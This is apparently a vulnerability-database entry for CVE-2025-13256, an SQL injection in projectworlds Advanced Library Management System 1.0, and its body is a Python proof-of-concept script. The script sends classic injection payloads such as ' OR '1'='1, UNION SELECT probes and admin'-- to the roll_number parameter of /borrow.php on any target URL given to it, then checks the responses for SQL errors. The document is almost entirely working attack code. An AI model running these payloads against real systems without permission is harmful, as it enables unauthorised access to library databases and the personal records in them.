CVE-2025-13256 | projectworlds Advanced Library Management System 1.0 SQL注入漏洞

# CVE-2025-13256 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # File: /borrow.php # Parameter: roll_number import requests import sys def exploit_sql_injection(target_url): """SQL Injection PoC for CVE-2025-13256""" # Vulnerable endpoint vulnerable_url = f"{target_url}/borrow.php" # Basic SQL injection payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' UNION SELECT 1,2,3,4,5--", "' OR 1=1--", "admin'--" ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-13256") print("=" * 50) for payload in payloads: print(f"\n[*] Testing payload: {payload}") data = { 'roll_number': payload, 'submit': 'Submit' } try: response = requests.post(vulnerable_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully") print(f"[+] Response length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Basic testing complete") print("[*] Manual verification recommended") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://localhost/college-library") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)